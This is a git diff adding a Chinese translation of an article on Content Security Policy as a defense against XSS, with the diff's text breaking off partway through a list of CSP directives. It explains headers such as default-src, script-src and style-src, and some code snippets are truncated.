+[a]: https://opensource.com/users/jwforres
+[1]: https://docs.docker.com/engine/reference/commandline/logs/
+[2]: http://kubernetes.io/docs/getting-started-guides/logging/
+[3]: http://kubernetes.io/docs/admin/daemons/
+[4]: https://www.eiseverywhere.com/ehome/index.php?eventid=153076&tabid=351462&cid=1350690&sessionid=11443135&sessionchoice=1&
+[5]: https://www.openshift.org/
+[6]: http://kubernetes.io/
diff --git a/published/201610/20160912 Content Security Policy, Your Future Best Friend.md b/published/201610/20160912 Content Security Policy, Your Future Best Friend.md
new file mode 100644
index 0000000000..90cd08e208
--- /dev/null
+++ b/published/201610/20160912 Content Security Policy, Your Future Best Friend.md	
@@ -0,0 +1,231 @@
+内容安全策略(CSP),防御 XSS 攻击的好助手
+=====
+
+很久之前,我的个人网站被攻击了。我不知道它是如何发生的,但它确实发生了。幸运的是,攻击带来的破坏是很小的:一小段 JavaScript 被注入到了某些页面的底部。我更新了 FTP 和其它的口令,清理了一些文件,事情就这样结束了。
+
+有一点使我很恼火:在当时,还没有一种简便的方案能够使我知道那里有问题,更重要的是能够保护网站的访客不被这段恼人的代码所扰。
+
+现在有一种方案出现了,这种技术在上述两方面都十分的成功。它就是内容安全策略(content security policy,CSP)。
+
+### 什么是 CSP?
+
+其核心思想十分简单:网站通过发送一个 CSP 头部,来告诉浏览器什么是被授权执行的与什么是需要被禁止的。
+
+这里有一个 PHP 的例子:
+
+```
+");
+?>
+```
+
+#### 一些指令
+
+你可以定义一些全局规则或者定义一些涉及某一类资源的规则:
+
+```
+default-src 'self' ;
+     # self = 同端口,同域名,同协议 => 允许
+```
+
+基础参数是 `default-src`:如果没有为某一类资源设置指令规则,那么浏览器就会使用这个默认参数值。
+
+```
+script-src 'self' www.google-analytics.com ;
+     # 来自这些域名的 JS 文件 => 允许
+```
+
+在这个例子中,我们已经授权了 www.google-analytics.com 这个域名来源的 JavaScript 文件使用到我们的网站上。我们也添加了 `'self'` 这个关键词;如果我们通过 `script-src` 来重新设置其它的规则指令,它将会覆盖 `default-src` 规则。
+
+如果没有指明协议(scheme)或端口,它就会强制选择与当前页面相同的协议或端口。这样做防止了混合内容(LCTT 译注:混合内容指 HTTPS 页面中也有非 HTTPS 资源,可参见: https://developer.mozilla.org/zh-CN/docs/Security/MixedContent )。如果页面是 https://example.com,那么你将无法加载 http://www.google-analytics.com/file.js 因为它已经被禁止了(协议不匹配)。然而,有一个例外就是协议的提升是被允许的。如果 http://example.com 尝试加载 https://www.google-analytics.com/file.js,接着协议或端口允许被更改以便协议的提升。
+
+```
+style-src 'self' data: ;
+     # Data-Uri 嵌入 CSS => 允许
+```
+
+在这个例子中,关键词 `data:` 授权了在 CSS 文件中 data 内嵌内容。
+
+在 CSP 1 规范下,你也可以设置如下规则:
+
+- `img-src` 有效的图片来源
+- `connect-src` 应用于 XMLHttpRequest(AJAX),WebSocket 或 EventSource
+- `font-src` 有效的字体来源
+- `object-src` 有效的插件来源(例如,``,``,``)
+- `media-src` 有效的 `